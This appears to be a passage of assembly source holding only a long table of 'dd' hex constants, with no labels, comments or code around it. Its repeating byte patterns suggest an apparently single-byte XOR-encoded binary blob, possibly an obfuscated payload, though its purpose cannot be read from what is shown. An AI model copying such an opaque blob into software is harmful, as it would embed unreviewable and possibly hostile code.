		dd 868AFFF3h, 4E858585h, 734F1E7Fh, 6E6F856Ah, 0F16A7323h
		dd 85868AC7h, 477EF385h, 6A734F0Eh, 7AF76012h, 0C286106Ah
		dd 7A7A7A4Ah, 0FFF39C8Dh, 85858696h, 1E7F4E85h,	856A734Fh
		dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 85858692h
		dd 869EFFF3h, 4E858585h, 734F1A7Fh, 6E6F856Ah, 0F16A7323h
		dd 85869EC7h, 477EF385h, 6A734F0Ah, 7AF76012h, 0C286106Ah
		dd 7A7A7A4Ah, 0FFF39C8Dh, 8585869Ah, 1A7F4E85h,	856A734Fh
		dd 7B5FD66Fh, 7A4AC26Ah, 9C8D7A7Ah, 86A6FFF3h, 4E858585h
		dd 734F1A7Fh, 866F856Ah, 256A7F53h, 0B9B32124h,	2B9FF32Fh
		dd 0F12D2C29h, 4FF17227h, 6A6BFB5Ah, 757294F9h,	0FBE247C5h
		dd 91356A6Bh, 6ECD752Ah, 7637F101h, 376CD75h, 8853B053h
		dd 75862FF3h, 0FAAA7FC5h, 92F96A6Bh, 7B8437Ch, 0FB56DB65h
		dd 827F6A6Bh, 7B7A7A85h, 2EDB863Fh, 0F36A6BFBh,	764F79BCh
		dd 0F96A6BFBh, 73917394h, 0FAC24FF1h, 94F96A6Bh, 862FF17Eh
		dd 16EF31Ch, 0F85ADB3Dh, 0BAF96A6Bh, 8BD4364h, 212425DEh
		dd 0F32FB9B3h, 7F12D9Fh, 623FF176h, 623FF31Ch, 6BFB4ADBh
		dd 7A837F6Ah, 0BD437A7Ah, 0F85770Fh, 0EE1B9266h, 4B237A7Ah
		dd 0DB5A91BAh, 6A6BFB36h, 7A7B7B7Fh, 0FBD437Ah,	660F8577h
		dd 7A2E8992h, 0BA4B237Ah, 79C27F91h, 25FA787Ah,	7A5EB827h
		dd 7A3A7BC2h, 7A6AB8FAh, 129FF32Fh, 6A6B1546h, 53826F85h
		dd 46DB6A7Fh, 276A6B15h, 2F7A7EB8h, 2C299FF3h, 760FF12Dh
		dd 126A07F1h, 6A6BE0E2h, 466F852Ch, 736A7723h, 0F16A0EBAh
		dd 7DF3723Fh, 62F14D85h, 4B7E2985h, 123591BAh, 6A6BE062h
		dd 466F852Ch, 736A7723h, 0F16A0EBAh, 7DF3723Fh,	62F14D85h
		dd 4B7E2985h, 125591BAh, 6A6BE392h, 466F852Ch, 736A7723h
		dd 0F16A0EBAh, 7DF3723Fh, 62F14D85h, 4B7E2985h,	0DB7591BAh
		dd 6A6BFBCEh, 0F37E92F9h, 3A78C27Dh, 2425FA7Ah,	76B82721h
		dd 9FF32F7Ah, 795A72C2h, 0C5B5927Ah, 2C297A7Ah,	0FB1ADB2Dh
		dd 92F96A6Bh, 66FFF37Dh, 8585869Bh, 0F856A0Fh, 4FFFF776h
		dd 2A85869Bh, 326E6F85h, 0BEF96A73h, 0FB5EDB76h, 92F96A6Bh
		dd 0C5752A78h, 6BFB527Fh, 7F92F96Ah, 0DB79102Ah, 6A6BFAB2h
		dd 32DB2A32h, 756A6BF8h, 0FBD26FC5h, 0AA7B6A6Bh, 2A7E92F9h
		dd 7A7A7B12h, 720F85BAh
		dd 11626F85h, 0FFF36A6Bh, 858595F6h, 0F8582F9h,	66FF855Ch
		dd 0DB85869Bh, 6A6BFB76h, 66FF4332h, 0F85869Bh,	720F8571h
		dd 7A39A292h, 0E391237Ah, 293BA4Bh, 0DB7A7A6Eh,	6A6BFB0Eh
		dd 0FAAE7F79h, 92F96A6Bh, 0CF852A76h, 858595F6h, 236A6F85h
		dd 3FF36A73h, 6A2FF18Ah, 856AFEF7h, 2A7A7B85h, 6F857A10h
		dd 6A7F5396h, 75863FF3h, 0FB527FC5h, 92F96A6Bh,	0FFF72A7Fh
		dd 85869B5Ah, 8A0F852Ah, 85860F85h, 8595F6CFh, 4E6F8585h
		dd 0F16A7A8Ah, 3AF1863Fh, 0BAFFF346h, 0F185858Dh, 869B5AFFh
		dd 7A825785h, 0FF437A7Ah, 85858DBAh, 699CFD75h,	0FFF17A7Ah
		dd 85858DBAh, 0F3863F79h, 0CD75823Fh, 3F2A477Ah, 0FF757A7Ah
		dd 7A7A69B6h, 75823FF1h, 0F1263ACDh, 6BFAA66Fh,	0A26F796Ah
		dd 0F96A6BFAh, 0AA437390h, 69D4FE75h, 0DFF97A7Ah, 85859406h
		dd 823FF17Ah, 3E2ACD75h, 0FBF277F1h, 0BBF96A6Bh, 0FB04372h
		dd 7E6FF146h, 796A6BF8h, 6BFB1A6Fh, 2AF2306Ah, 7A80FA60h
		dd 0CD755D0Eh, 0FFF33C3Ah, 85869B76h, 0AA7FC575h, 436A6BFAh
		dd 869B76FFh, 1BF97585h, 0BD7A7A69h, 859406FFh,	7A7A7B85h
		dd 6C7F97Ah, 7A858594h,	0ADB350Eh, 756A6BFBh, 0FAEE6FC5h
		dd 0AA7B6A6Bh, 9B76FF43h, 63098586h, 0F9823FF1h, 0CD757CBAh
		dd 7677F16Ah, 0F96A6BFBh, 0B05378BBh, 916AF31Ch, 823FF15Ah
		dd 757CBAF9h, 77F16ACDh, 6A6BF84Ah, 0AA47C575h,	7B6A6BFAh
		dd 7E93F983h, 0F31CB053h, 823FF16Ah, 7AFAFAF1h,	0FFF37A7Ah
		dd 858581AAh, 8DBAFFF1h, 0FFF38585h, 858595EEh,	95EEFFFBh
		dd 7A828585h, 52C27A7Ah, 0F17A7A7Ah, 0CD758237h, 9B8D7C33h
		dd 9B72FFF3h, 0FF7B8586h, 858595EEh, 7A7A52C2h,	0BA77F17Ah
		dd 0F96A6BFBh, 9B8D78BBh, 9B7EFFF3h, 0FF7B8586h, 858595EEh
		dd 0F1823FF1h, 7A7AAEF2h, 0EEF77B7Ah, 0F1858595h, 0FF432E3Ah
		dd 858595EEh, 68FCFD75h, 0CEDB7A7Ah, 0F96A6BFBh, 0FFF37E92h
		dd 858589D6h, 6BFB16DBh, 7F92F96Ah, 0DB9E3FF3h,	6A6BFB8Eh
		dd 0F37392F9h, 8595DEFFh, 0FA8ADB85h, 92F96A6Bh, 0B6FFF379h
		dd 93858581h, 7A7A7AB8h, 7A7A52C2h, 0B6DF8D7Ah,	0F3858581h
		dd 869A82FFh, 0BAFFF185h, 0F185858Dh, 0FEF7862Fh, 7A7A826Ah
		dd 82EFF17Ah, 0F385869Ah, 0F1BC7BACh, 3C79763Ch, 7AFFF372h
		dd 0F185869Bh, 3C796E3Ch, 86FFF36Ah, 0F185869Ah, 0FF439E3Fh
		dd 85869B7Ah, 0FFF1730Ch, 85869B7Ah, 0F19E3FF3h, 8589D6FFh
		dd 86FF4385h, 0C85869Ah, 86FFF176h, 0F385869Ah,	8589D6FFh
		dd 823FF185h, 7AD2FAF1h, 3C417A7Ah, 41670876h, 869B7AFFh
		dd 0F16F0985h, 2FF16E3Ch, 0D2F87982h, 517A7A7Ah, 0FFF3763Ch
		dd 858595DEh, 81AAFFF1h, 2CF18585h, 8AA4376h, 722C7969h
		dd 7609AA43h, 79763C51h, 0FFF36E3Ch, 85858DC6h,	81B6FF85h
		dd 3FF18585h, 3ACD7582h, 0B6FF437Ch, 75858581h,	858551F8h
		dd 0FAEADB85h, 867F6A6Bh, 2A7A7A75h, 929E0F85h,	7A7A191Bh
		dd 0F372BEF9h, 0C7F99E3Fh, 85859406h, 0F1730E7Ah, 8589D6FFh
		dd 8A3FF385h, 89D6FFF1h, 3F438585h, 0F16D0E8Ah,	0C575823Fh
		dd 6BFBE26Fh, 0EA43306Ah, 7A7A7AD2h, 6B50FE75h,	36DB7A7Ah
		dd 0F96A6BF8h, 0FF437392h, 858595DEh, 7AB1FE75h, 0D6DB7A7Ah
		dd 796A6BFBh, 6BFBA67Fh, 7892F96Ah, 9A82FFF3h, 1ADB8586h
		dd 0F96A6BFBh, 0FFF37D92h, 85869B7Ah, 0FFF13491h, 858595DEh
		dd 9A8EFFF3h, 66C28586h, 8D7A7A7Ah, 869B7ADFh, 8AFFF385h
		dd 0F185869Ah, 869A8EFFh, 8AEFF185h, 7B85869Ah,	863F79AAh
		dd 9A86FFF3h, 0EFF18586h, 85869A82h, 0C622A43h,	623AF173h
		dd 9A82FFF3h, 0FF858586h, 85869B7Ah, 0F18207F1h, 7A7AD6FDh
		dd 7A66C37Ah, 92BB7A7Ah, 335FC078h, 988D5EE8h, 9A8EEFF3h
		dd 0ADF38586h, 9B7AC743h, 0F0088586h, 85823FF1h, 0CF85460Ah
		dd 85869A82h, 7A181292h, 72BEF97Ah, 9A82FFF3h, 0FFF18586h
		dd 858589D6h, 0E8A3F41h, 82FF4376h, 7585869Ah, 7A6A31FFh
		dd 0F2DFF97Ah, 7A858595h, 6BFB4EDBh, 0AE7F796Ah, 0F96A6BFAh
		dd 0FFF37D92h, 858581B2h, 7A7B4B93h, 0C6FFF17Ah, 7985858Dh
		dd 8581B2FFh, 863F7985h, 0A586FFF3h, 6FF18586h,	6A6BFB56h
		dd 0FB126F79h, 90F96A6Bh, 756A4370h, 7A7B60FEh,	86FFF17Ah
		dd 0F18586A5h, 0FF51763Ah, 858581AAh, 8DC6FF79h, 0FFF38585h
		dd 8586A582h, 2A863F79h, 9A7BFFF7h, 852A8586h, 7B5BDE6Fh
		dd 72BEF96Ah, 6BFB3ADBh, 0FFF3326Ah, 85869B7Ah,	0FFF15191h
		dd 85869B7Ah, 7B7FFEF0h, 4685869Ah, 466E041Bh, 0F16A0700h
		dd 869B7AFFh, 7FFEF785h, 85869A7Bh, 855A52FAh, 869B7AFFh
		dd 7AFFF185h, 7585869Bh, 7B7FFEC4h, 0F185869Ah,	6BFAC66Fh
		dd 77C5756Ah, 6A6BFA86h, 90F9B07Bh, 0FAA4378h, 7FC575CBh
		dd 6A6BFBEAh, 807FC6FAh, 3F8586A5h, 6FF11B0Fh, 6A6BF852h
		dd 816FC6FAh, 288586A5h, 0C5752B0Fh, 6BFBDE6Fh,	6FC6FA6Ah
		dd 8586A581h, 0F13A0F31h, 6BFBFE6Fh, 6FC6FA6Ah,	85869A79h
		dd 0F14A0F49h, 6BFBA26Fh, 7A6F796Ah, 0FA6A6BF8h, 0A5876FC6h
		dd 0F368586h, 127F7960h, 0FA6A6BFBh, 0A5847FC6h, 0F488586h
		dd 0F2FFBD70h, 7B858595h, 0F97A7A7Ah, 8581B2FFh, 3FF16E85h
		dd 0FEFAF182h, 437A7A7Ah, 8581B2FFh, 0C0F87585h, 0F9858584h
		dd 8595F2C7h, 0FE757A85h, 7A7A74A2h, 0F9823FF1h, 0F91C6CBAh
		dd 0FFF77B72h, 85869B4Fh, 81AEFFF3h, 3AF18585h,	0C2FFF346h
		dd 7985858Dh, 8581AEFFh, 0CEFFF385h, 0F985858Dh, 859406C7h
		dd 0FF757A85h, 7A7A7B6Ah, 0F1823FF1h, 6BFBB26Fh, 7290F96Ah
		dd 7AAAEA43h, 0FE757A7Ah, 7A7A7A82h, 826FC575h,	796A6BFAh
		dd 6BFAE26Fh, 7490F96Ah, 7AAEEA43h, 0FE757A7Ah,	7A7A7AA6h
		dd 95EEEFF1h, 2A438585h, 0B7FC752Eh, 0F17A7A7Ah, 858DBAFFh
		dd 7A827F85h, 0FFF37A7Ah, 85869A82h, 7A7A52C2h,	8237F17Ah
		dd 7C33CD75h, 0FFF39B8Dh, 85869A8Eh, 9A82FFF1h,	0EFF18586h
		dd 85869A8Eh, 0FFF3AA7Bh, 85869B7Ah, 9A8AFFF3h,	52C28586h
		dd 0F17A7A7Ah, 6BFBD677h, 8A77796Ah, 0F96A6BFAh, 9B8D7893h
		dd 9A96FFF3h, 0FFF18586h, 85869A8Ah, 9A96EFF1h,	0AA7B8586h
		dd 9A86FFF3h, 3FF18586h, 0AECA8582h, 0F17A7A7Ah, 0EFF1863Fh
		dd 85869B7Ah, 0F128B87Bh, 869A86EFh, 28B87B85h,	326E6F85h
		dd 0BEF96A73h, 823FF176h, 7A7AAA7Fh, 92FFF37Ah,	0C285869Ah
		dd 7A7A7A52h, 0FBBA77F1h, 77796A6Bh, 6A6BFABAh,	0FFF39B8Dh
		dd 85869A9Eh, 9A92FFF1h, 0B8F38586h, 9A9EF7F1h,	707B8586h
		dd 85823FF1h, 0F85460Ah, 2505928Ah, 3FF37A7Ah, 7A52C28Ah
		dd 37F17A7Ah, 33CD7582h, 0F39B8D7Ch, 869B7AFFh,	0BAFFF185h
		dd 0F185858Dh, 0FEF7862Fh, 7A7A826Ah, 7AEFF17Ah, 0F385869Bh
		dd 0DBBC7BACh, 6A6BFBA6h, 2A76BAF9h, 6BFA9EDBh,	7F92F96Ah
		dd 0F98AF32Ah, 852A62BAh, 73334E6Fh, 7FC5756Ah,	6A6BF86Ah
		dd 7B85817Fh, 723CF37Ah, 85823FF1h, 3FF1460Ah, 77BAF96Ah
		dd 2575922Ah, 3CF37A7Ah, 8A3FF16Ah, 8DCAFFF3h, 3FF18585h
		dd 0DAFFF39Eh, 12858595h, 6A6BE25Fh, 7A777592h,	852C2A7Ah
		dd 7B5BDE6Fh, 9E3FF16Ah, 0DB763CF3h, 6A6BFB36h,	7A7A647Fh
		dd 5E3CF39Ah, 0F38A3FF1h, 96DB6E3Ch, 7F6A6BFAh,	7A7B8585h
		dd 0F19E3F7Bh, 2CF1823Fh, 722C7976h, 852A2AF3h,	6B0A3A6Fh
		dd 47C5756Ah, 6A6BFB52h, 426FC575h, 7B6A6BFBh, 7D95F9ADh
		dd 7A7A87C3h, 838DE37Ah
		dd 0C7F3AD7Bh, 858595E6h, 85823FF1h, 3FF1460Ah,	6A3C798Ah
		dd 2401922Ah, 0BEF97A7Ah, 8A3FF34Ah, 0F9823FF1h, 851C7CBAh
		dd 3A6F857Ah, 0F16A6B0Ah, 858DC2C7h, 0AEEFF185h, 0F3858581h
		dd 869A82EFh, 86FFF385h, 0C385869Ah, 7A7A7A85h,	0F1838DE3h
		dd 869A82F7h, 436EF285h, 0A3A6F85h, 6FF16A6Bh, 6A6BF87Ah
		dd 7E77C575h, 7B6A6BFBh, 7E90F9B0h, 0EFF1AD7Bh,	858581AEh
		dd 9A8AEFF3h, 0FFF38586h, 85869A8Eh, 7A7A85C3h,	838DE37Ah
		dd 9A8AF7F1h, 6EF28586h, 0BA47F143h, 796A6BFBh,	6BFB0E47h
		dd 7D95F96Ah, 81AEEFF1h, 37F18585h, 7393BB6Ah, 754076F2h
		dd 0FABE7FC5h, 7F796A6Bh, 6A6BFBF6h, 0F17D92F9h, 8595E6F7h
		dd 378BF985h, 0DB7876F2h, 6A6BFB82h, 7947BAF9h,	6BFAC67Fh
		dd 0BEFFF36Ah, 91858581h, 3A6F854Fh, 0F16A6B0Ah, 8581BEC7h
		dd 0AEEFF185h, 0F3858581h, 869A92EFh, 96FFF385h, 0C385869Ah
		dd 7A7A7A85h, 0F1838DE3h, 869A92F7h, 436EF285h,	81BEFF85h
		dd 0FFF18585h, 85858DC2h, 81BEFF43h, 0C7088585h, 9406C7F9h
		dd 0E7A8585h, 0CAFFF100h, 7585858Dh, 0FAAA6FC5h, 6F796A6Bh
		dd 6A6BFABAh, 2FF1AA7Bh, 787EF186h, 9A9EFFF3h, 3FF18586h
		dd 4E2AF182h, 0DB522A79h, 6A6BFB4Ah, 7B7CBAF9h,	9AEFF3B8h
		dd 0F185869Ah, 869A9EFFh, 0EA6FF185h, 0F96A6BFAh, 0C5758CB8h
		dd 6BF86A77h, 53B07B6Ah, 9AFF79AAh, 0F185869Ah,	6BFBD66Fh
		dd 78B8F96Ah, 0FFF3AA7Bh, 85869AA6h, 0F1823FF1h, 869AA6EFh
		dd 4E2A5185h, 10522AF3h, 0F8EA1277h, 0FFF76A6Bh, 85869B52h
		dd 6E6F852Ah, 0F16A7332h, 0BAF96A3Ch, 0FFF72A77h, 85869B52h
		dd 6E3CF12Ah, 2A863F79h, 326E6F85h, 0BEF96A73h,	6E3CF162h
		dd 0F377BAF9h, 8595E2FFh, 6FC57585h, 6A6BFABEh,	7B7E90F9h
		dd 0A6FFF3AAh, 91858581h, 0A6FFF160h, 79858581h, 0CC75863Fh
		dd 0E6EF496Ah, 0F2858595h, 0A6FF856Ah, 0F1858581h, 8595E2FFh
		dd 6A3F7985h, 81A6FF43h, 0AF088585h, 6BFAC2DBh,	7E92F96Ah
		dd 0DB923FF3h, 6A6BFB8Eh, 0B87BB8F3h, 92F9AAF3h, 0BAFFF368h
		dd 93858581h, 7A7A7892h, 7A7A52C2h, 0BADF8D7Ah,	0F3858581h
		dd 869A9AFFh, 0C2FFF185h, 0F185858Dh, 8581AEEFh, 6AFEF785h
		dd 7A7A7A82h, 9A9AEFF1h, 0A9F38586h, 52C2B97Bh,	0F17A7A7Ah
		dd 0CD758237h, 9B8D7C33h, 9AA6FFF3h, 0FFF18586h, 85858DBAh
		dd 0F7862FF1h, 7A826AFEh, 0EFF17A7Ah, 85869AA6h, 0BC7BACF3h
		dd 0B67FC575h, 0FA6A6BFAh, 0F087946h, 0FBD6DB49h, 0C5756A6Bh
		dd 6BFB466Fh, 0F9AA7B6Ah, 46FA7192h, 660F5479h,	727FC575h
		dd 0FA6A6BF8h, 197E6206h, 39F1740Fh, 0FEFFF36Eh, 93858595h
		dd 7A7A783Ch, 827FC575h, 0F96A6BFAh, 46FA7F92h,	430F5479h
		dd 3E7FC575h, 796A6BF8h, 6BFB127Fh, 7292F96Ah, 1F7946FAh
		dd 9EDB590Fh, 3A6A6BFBh, 1B7946FAh, 39F16D0Fh, 2FFF376h
		dd 0F1858594h, 0FFF36E39h, 858595FAh, 7A7B8793h, 7FC5757Ah
		dd 6A6BFB1Eh, 137946FAh, 0D6DB4B0Fh, 756A6BFBh,	0FB466FC5h
		dd 0AA7B6A6Bh, 0FA7192F9h, 0F547946h, 7FC57560h, 6A6BF86Ah
		dd 0FBF27F79h, 92F96A6Bh, 7946FA7Fh, 0C5FE751Bh, 0DB7A7A7Bh
		dd 6A6BFBCEh, 0FA7E92F9h, 75547946h, 7A7AFEFFh,	0FB5ADB7Ah
		dd 7F796A6Bh, 6A6BFA8Ah, 0FA7092F9h, 0F187946h,	0FB9EDB0Ah
		dd 7F796A6Bh, 6A6BF846h, 7946FA32h, 0F9240F09h,	9ADBA2BCh
		dd 7F6A6BFBh, 9A7A7A62h, 0FAC27F79h, 3CF36A6Bh,	7FC5755Eh
		dd 6A6BFACEh, 7A75817Fh, 0C852A7Ah, 20B99272h, 0BDF37A7Ah
		dd 0F3720179h, 0DADB7204h, 7F6A6BFAh, 7A7A7581h, 0FB4E7F79h
		dd 0F12A6A6Bh, 39799E3Fh, 0E4922A72h, 0F97A7A20h, 3FF36ABEh
		dd 52BCF99Eh, 7A7B5393h, 8A3FF17Ah, 0F16E3CF3h,	3CF37239h
		dd 9E3FF172h, 0F1763CF3h, 3CF35E39h, 852C295Eh,	7B5BDE6Fh
		dd 6A39F16Ah, 756A3CF3h, 0FAAA7FC5h, 0C5756A6Bh, 6BFAB66Fh
		dd 6A3EF76Ah, 8ADB2A7Fh, 0F96A6BFAh, 0F32A7992h, 62BAF98Ah
		dd 4E6F852Ah, 0F16A7333h, 29F19207h, 0C7EEF376h, 8585819Ah
		dd 0F37229F1h, 8DBEC7EEh, 2CF18585h, 0C7EEF376h, 858589CEh
		dd 0F36E2CF1h, 95CAC7EEh, 3F858585h, 6A39F192h,	0F18A3F7Bh
		dd 0FFF38A3Fh, 85869A9Eh, 85823FF1h, 0F85460Ah,	238D928Ah
		dd 0BEF97A7Ah, 8A3FF366h, 6BFBD6DBh, 46FA326Ah,	5A0F1E79h
		dd 9A9EFFF1h, 3F438586h, 0F16F0C8Ah, 0BB538A37h, 9AA2F7F3h
		dd 0B2F38586h, 0F3723C7Bh, 6A3C7BB2h, 867FC575h, 7F6A6BFAh
		dd 7A7A7584h, 763CF12Ah, 2A723979h, 7A23D692h, 8207F17Ah
		dd 0DB2A3DF3h, 6A6BF86Eh, 7A75877Fh, 3FF12A7Ah,	7239799Eh
		dd 23F5922Ah, 3FF37A7Ah, 0F982F39Eh, 851C7CBAh,	6A0C857Ah
		dd 796E39F1h, 8581AEFFh, 3CF12A85h, 863F796Eh, 6E6F852Ah
		dd 0F96A7332h, 0FF8566BEh, 858581BAh, 8DCEFFF1h, 0CD758585h
		dd 0FF437C3Ah, 858581BAh, 8778F875h, 0FFF18585h, 858595FEh
		dd 81AEFF79h, 3FF38585h, 0FBA6DB96h, 0C5756A6Bh, 6BFBD26Fh
		dd 0F3AA7B6Ah, 26919A3Fh, 0F19A07F1h, 68F1962Fh, 9AC7EE43h
		dd 0F858581h, 963FF171h, 0FFF37AF1h, 858589CAh,	0BB9A07F1h
		dd 0EEF1789Dh, 85819A47h, 47EE7985h, 85858DBEh,	419607F1h
		dd 0F1580C6Dh, 0C6F19A07h, 8595CAC7h, 0EAC7F385h, 0F1858595h
		dd 0C6F19A07h, 8589CEC7h, 0D6C7F385h, 91858595h, 9A3F8571h
		dd 43923FF1h, 0E6089A3Fh, 6BF87EDBh, 7892F96Ah,	81A2FFF3h
		dd 1E938585h, 0F17A7A7Bh, 8581A2FFh, 0CA6FF185h, 796A6BFBh
		dd 6BFB5A6Fh, 7D90F96Ah, 3F79AA7Bh, 9AFFF396h, 1C85869Ah
		dd 0F31C7AF1h, 869A9EFFh, 0FFCD7585h, 85869A9Eh, 0FBD66FF1h
		dd 90F96A6Bh, 75AA4378h, 7A7B4EFEh, 0C7CD757Ah,	85869A9Eh
		dd 0AA6FC575h, 756A6BFAh, 0FB3277C5h, 36F76A6Bh, 85A97F70h
		dd 0A4C7F31Ch, 7585869Ah, 9A9EC7CDh, 6FF18586h,	6A6BFB12h
		dd 8E77C575h, 0FD6A6BFAh, 0A9AB7BABh, 0C7F31C9Dh, 85869A9Ch
		dd 9CC7CD75h, 0F185869Ah, 6BFB9A77h, 1C85A96Ah,	9A9CC7F3h
		dd 0CD758586h, 869A9CFFh, 666FF185h, 0F96A6BFBh, 0AA437890h
		dd 8EDB6E0Fh, 0F96A6BFBh, 0FF437392h, 858581A2h, 7AC9FF75h
		dd 3FF17A7Ah, 4E3AF182h, 95D6FF79h, 2FF18585h, 51787996h
		dd 8589CAFFh, 0EFCD7585h, 85869A9Ch, 0FFF3AA7Bh, 85869AA2h
		dd 8DCEFFF1h, 3AF18585h, 962FF14Eh, 0CD757879h,	869A9CEFh
		dd 0F3AA7B85h, 869AAEFFh, 0A2F7F185h, 5385869Ah, 0AAF7F3BBh
		dd 7585869Ah, 9AA4FFCDh, 0C5758586h, 6BFB926Fh,	0EA6F796Ah
		dd 0F96A6BFAh, 0AA437290h, 0FFF15D0Fh, 858595EAh, 79962FF1h
		dd 0CAFF5178h, 75858589h, 9A9CEFCDh, 0AA7B8586h, 0F3863F79h
		dd 869AB6FFh, 7BB0F385h, 0FB06DB6Ah, 92F96A6Bh,	0A2FF7B7Fh
		dd 0F1858581h, 3AF1963Fh, 0A2FF437Eh, 75858581h, 8584F0F8h
		dd 963FF185h, 7B7E2AF1h, 962FF3B8h, 8DCEFFF1h, 0FAF18585h
		dd 7A7A7ADEh, 95FEEFF1h, 0EF798585h, 858581AEh,	3F43AA7Bh
		dd 0A8F87596h, 0F1858587h, 32F1823Fh, 0EF7F352h, 0F1858594h
		dd 8595DAEFh, 522AF385h, 9406C7F9h, 0F7A8585h, 1ABAF965h
		dd 8DCEEFF1h, 28F18585h, 0F16A7B1Ah, 0BAF9823Fh, 0CEEFF112h
		dd 0F185858Dh, 6A7B1228h, 75823FF1h, 0F83A6FC5h, 0C5756A6Bh
		dd 6BFB5277h, 0F9B07B6Ah, 0F31C7D90h, 6FF13C2Ah, 6A6BFB86h
		dd 797FB8F9h, 6BFB826Fh, 602AF26Ah, 0FA9A6FF1h,	0B8F96A6Bh
		dd 2AF31C7Dh, 0FAFFF13Eh
		dd 79858595h, 8581AEFFh, 62FFF385h, 0F185869Bh,	8595FAFFh
		dd 62EFF185h, 7985869Bh, 0FF516638h, 85859402h,	9B6EFFF3h
		dd 0FF798586h, 858581AEh, 9B6AFFF3h, 7AF18586h,	95D2FFF3h
		dd 0CEDB8585h, 756A6BFBh, 0FB466FC5h, 0AA7B6A6Bh, 0F37792F9h
		dd 3B91A63Fh, 0BBA607F1h, 0EEF1789Dh, 85819A47h, 47EE7985h
		dd 85858DBEh, 95D2EF41h, 580C8585h, 0F1A607F1h,	819AC7C6h
		dd 0C7F38585h, 85859416h, 0F1A607F1h, 89CEC7C6h, 0C7F38585h
		dd 85859412h, 3F857191h, 923FF1A6h, 8A63F43h, 823FF1CDh
		dd 794E3AF1h, 859412FFh, 0D2FF7985h, 51858595h,	859416FFh
		dd 0AFFF385h, 0F1858594h, 858DCEFFh, 4E3AF185h,	95D2FF79h
		dd 0FFF38585h, 858595D2h, 8DCAFFF1h, 3FF38585h,	78F1938Eh
		dd 3FF17A7Ah, 862FF18Eh, 0FAC277F1h, 77796A6Bh,	6A6BFB2Ah
		dd 0F37D93F9h, 75B57BBDh, 0F14076CCh, 6BFADA47h, 7995F96Ah
		dd 0FF758343h, 7A7A7B73h, 0FADA77F1h, 0F3336A6Bh, 75B57BBDh
		dd 0F14076CCh, 6BF87E47h, 7895F96Ah, 0FF758343h, 7A7A7A93h
		dd 7876CC75h, 0FB6E47F1h, 0BDFB6A6Bh, 7A7A7A9Eh, 0FB9E4779h
		dd 83436A6Bh, 7AB1FF75h, 77F17A7Ah, 6A6BFBA6h, 0F379BBF9h
		dd 75B57BBDh, 0F14076CCh, 6BF84647h, 7A47796Ah,	0F96A6BF8h
		dd 83437F95h, 7AD9FF75h, 7F797A7Ah, 6A6BFBA2h, 787ECC75h
		dd 0F85A6FF1h, 6F796A6Bh, 6A6BFBDAh, 437090F9h,	0F8FF75AAh
		dd 0F17A7A7Ah, 32F1823Fh, 0EF7794Eh, 0F3858594h, 869A9EF7h
		dd 4E3AF185h, 95DAFF79h, 2FF18585h, 0CAEF518Eh,	7B85858Dh
		dd 9AFFF3AAh, 7585869Ah, 0FA8E7FC5h, 6FF16A6Bh,	6A6BFBCEh
		dd 836A3EF7h, 9A9AFF51h, 0B27B8586h, 7E6FC575h,	0F96A6BFBh
		dd 0AA537EB8h, 9AA6FFF3h, 0C5758586h, 6BFAD247h, 8247796Ah
		dd 0F16A6BFBh, 0C5758E2Fh, 6BFA8E77h, 6A77796Ah, 0F96A6BFBh
		dd 0B07B7093h, 0F3862F79h, 0C036F3BBh, 8E3FF18Eh, 0F3862FF1h
		dd 869A9EEFh, 4A77F185h, 0F96A6BFBh, 0BDF378BBh, 0CC75B57Bh
		dd 47F14076h, 6A6BFBFEh, 0EE6FC575h, 7B6A6BFBh,	0F980F3ADh
		dd 0AB437F90h, 7B62FF75h, 0C5757A7Ah, 6BF83E6Fh, 466F796Ah
		dd 0F96A6BF8h, 0BBF37C90h, 0EFF1AB7Bh, 85869A9Eh, 706ECC75h
		dd 0FB3677F1h, 77796A6Bh, 6A6BFB96h, 437F93F9h,	99FF75B0h
		dd 0F17A7A7Ah, 6BFB266Fh, 6A6F796Ah, 0F96A6BFBh, 0BBF37190h
		dd 0EFF1AB7Bh, 85869A9Eh, 706ECC75h, 0FB5677F1h, 93F96A6Bh
		dd 75B04372h, 7A7ACFFFh, 9EEFF17Ah, 7585869Ah, 75786ECCh
		dd 0F83A77C5h, 0BBFB6A6Bh, 7A7A7A9Ah, 0FF75B043h, 7A7A7AECh
		dd 0F84E6FF1h, 0C5756A6Bh, 6BF87277h, 0F9B07B6Ah, 0AA7B7F90h
		dd 9A9EEFF1h, 0CC758586h, 6FF1787Eh, 6A6BF856h,	437D90F9h
		dd 0F1110FAAh, 3AF1823Fh, 0DAFF794Eh, 0F1858595h, 0EF518E2Fh
		dd 85858DCAh, 0FFF3AA7Bh, 85869A9Ah, 940AFFF1h,	0FFF38585h
		dd 85869AA6h, 827FC575h, 0F96A6BFAh, 0FF5180BAh, 85869A9Ah
		dd 9AA6FF79h, 6FF18586h, 6A6BFAA2h, 537890F9h, 0A2FFF3AAh
		dd 7585869Ah, 0FB7E47C5h, 2FF16A6Bh, 0C677F18Eh, 3B6A6BFAh
		dd 2F79B07Bh, 0F3BBF386h, 3F85C076h, 0CAFFF18Eh, 0F985858Dh
		dd 3F4377BAh, 19F8758Eh, 85858587h, 8595F6CFh, 326F8585h
		dd 856A7333h, 0FFF7720Fh, 858594FBh, 0DE6F852Ah, 0F96A7B5Bh
		dd 3FF172BEh, 0F9BBF372h, 0FA3A85B2h, 0F7A7B46h, 5EFFF383h
		dd 0F185869Bh, 6BFBA66Fh, 77C5756Ah, 6A6BFBE2h,	0AA53B07Bh
		dd 0FB7FFEBCh, 8858594h, 9B5EFFF1h, 0C5758586h,	6BF8726Fh
		dd 78B8F96Ah, 0FEBCAA53h, 8594FB7Fh, 0FFF11385h, 85869B5Eh
		dd 0FB026FF1h, 90F96A6Bh, 0BCAA537Dh, 94FB7FFEh, 0DB0C8585h
		dd 6A6BFB4Eh, 2A7892F9h, 6BFBF6DBh, 7B92F96Ah, 7578102Ah
		dd 0FACE7FC5h, 92F96A6Bh, 0D6DB2A7Fh, 0F96A6BFAh, 122A7D92h
		dd 3A7A7A7Ah, 94FBFFF7h, 852A8585h, 6B11626Fh, 0F6FFF36Ah
		dd 0DB858595h, 6A6BFB06h, 2A7D92F9h, 9B5AFFF7h,	852A8586h
		dd 0F858A0Fh, 0F6CF8586h, 85858595h, 6B15666Fh,	0F6CF856Ah
		dd 85858595h, 7333326Fh, 860F856Ah, 5FB66F85h, 7A106A7Bh
		dd 0F7720F85h, 8594FBFFh, 6F852A85h, 6A734F3Eh,	94FBFFF7h
		dd 852A8585h, 7A8A766Fh, 7A7BC26Ah, 6D917A7Ah, 95F6CF85h
